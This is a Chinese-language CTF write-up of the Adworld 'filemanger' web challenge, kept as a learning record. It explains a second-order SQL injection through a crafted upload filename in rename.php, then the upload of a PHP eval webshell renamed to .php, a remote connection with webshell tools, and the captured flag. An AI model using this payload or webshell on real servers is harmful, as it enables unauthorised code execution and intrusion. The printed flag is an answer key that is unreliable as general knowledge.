攻防世界 web进阶区 filemanger
看到下面这个页面,有文件上传,首先想到的是文件上传漏洞。不过还是习惯性的用扫面工具对网站进行扫描看看有没有什么隐藏的页面。(我个人的扫描结果是没有的,但是看了其他的大佬扫描出来了,可能是需要御剑扫描的相关拓展工具之类的吧!)
得到的文件是/www.tar.gz,访问网址http://111.200.241.244:54926/www.tar.gz即可将文件下载下来,解压文件,得到如下几个文件。
对文件进行代码审计,发现漏洞在修改文件名的文件(rename.php)中,首先会查询之前上传的文件是否存在,如果返回不为空,则修改成对应的文件名。在修改文件名的过程中,是存在漏洞可以利用的。
具体操作如下:
首先上传一个空的文件,但是文件名一定要是’,extension='.jpg,因为原来的SQL语句不允许修改后缀名,对后缀名进行了限制,使用这个名字是为了是修改的文件后缀名为空,即可修改文件后缀。
点击上传以后对修改文件名,因为对文件的后缀做了相关的限制,不需要输入后缀对文件名进行修改,修改后的文件名可以自定义,但是必须是以.jpg或其他可上传的文件格式结尾的,接下来我们上传一句话木马文件名必须和该名字保持一致。
修改后的文件名如下:
文件名修改后,重命名文件的代码也随之改变了。变成了
update `file` set `filename`='test.jpg',`oldname`='',extension='' where `fid`={$result['fid']}"
修改前的代码为:
update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}
通过对比上面的两条SQL语句发现,此时的文件后缀名已经变为空了,即可对文件的后缀名进行修改。但是文件只能是test.jpg,这个也是之前必须使用.jpg格式的原因。
现在上传一句话木马,木马的文件名必须和之前修改的文件名(test.jpg)一致
木马文件的内容为:<?php @eval($_POST['123']) ?>
同名的文件上传以后,即可对文件名进行修改,因为此时已经可以修改该文件的后缀名了,即可将jpg文件修改为PHP文件
修改成功后得到如图所示的内容。
修改完成后,即可用中国菜刀,中国蚁剑等工具连接到该服务器。
连接成功以后,flag在系统的根目录下。
打开,即可获得flag。
flag{bdda3c944a9e484eae50123afeeff56b}
该题就做完了,本人也不是特别的懂,看了大佬的博客后写的自己的做题过程,以及自己的一些想法,比较菜,但是记录了自己的学习过程。希望能够给网友该题更多的提示吧。文中也有可能有不对的地方,若有网友发现,请给与我指正,非常的感谢。